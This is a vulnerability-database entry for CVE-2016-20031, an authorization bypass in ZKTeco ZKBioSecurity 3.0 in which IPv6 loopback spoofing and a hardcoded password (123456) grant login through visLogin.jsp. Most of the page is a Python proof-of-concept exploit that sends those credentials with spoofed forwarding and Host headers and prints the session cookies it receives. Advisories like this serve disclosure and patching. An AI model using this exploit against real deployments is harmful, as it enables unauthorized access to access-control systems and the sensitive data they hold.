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CVE-2016-20031 CVSS 5.5 MEDIUM

CVE-2016-20031

Published: 2026-03-16 14:17:50
Last Modified: 2026-04-15 14:56:46

Description

ZKTeco ZKBioSecurity 3.0 contains a local authorization bypass vulnerability in visLogin.jsp that allows attackers to authenticate without valid credentials by spoofing localhost requests. Attackers can exploit the EnvironmentUtil.getClientIp() method which treats IPv6 loopback address 0:0:0:0:0:0:0:1 as 127.0.0.1 and authenticates using the IP as username with hardcoded password 123456 to access sensitive information and perform unauthorized actions.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ZKTeco ZKBioSecurity 3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2016-20031 PoC - ZKBioSecurity 3.0 Local Auth Bypass # Target: ZKTeco ZKBioSecurity visLogin.jsp def exploit_auth_bypass(target_url): """ Exploit for CVE-2016-20031 Local Authorization Bypass via IPv6 Loopback Address Spoofing """ # IPv6 loopback address that gets converted to 127.0.0.1 ipv6_loopback = "0:0:0:0:0:0:0:1" # Target login endpoint login_url = f"{target_url}/visLogin.jsp" # Hardcoded credentials extracted from analysis # Using IP as username with hardcoded password payload = { "username": ipv6_loopback, "password": "123456" } # Request headers to spoof localhost headers = { "X-Forwarded-For": ipv6_loopback, "X-Real-IP": ipv6_loopback, "Client-IP": ipv6_loopback, "Host": "127.0.0.1" } try: response = requests.post(login_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: # Check for successful authentication indicators if "success" in response.text.lower() or "session" in response.cookies: print("[+] Authentication bypass successful!") print(f"[+] Session cookies: {response.cookies}") return True print("[-] Authentication bypass failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-server:8080" exploit_auth_bypass(target)

References

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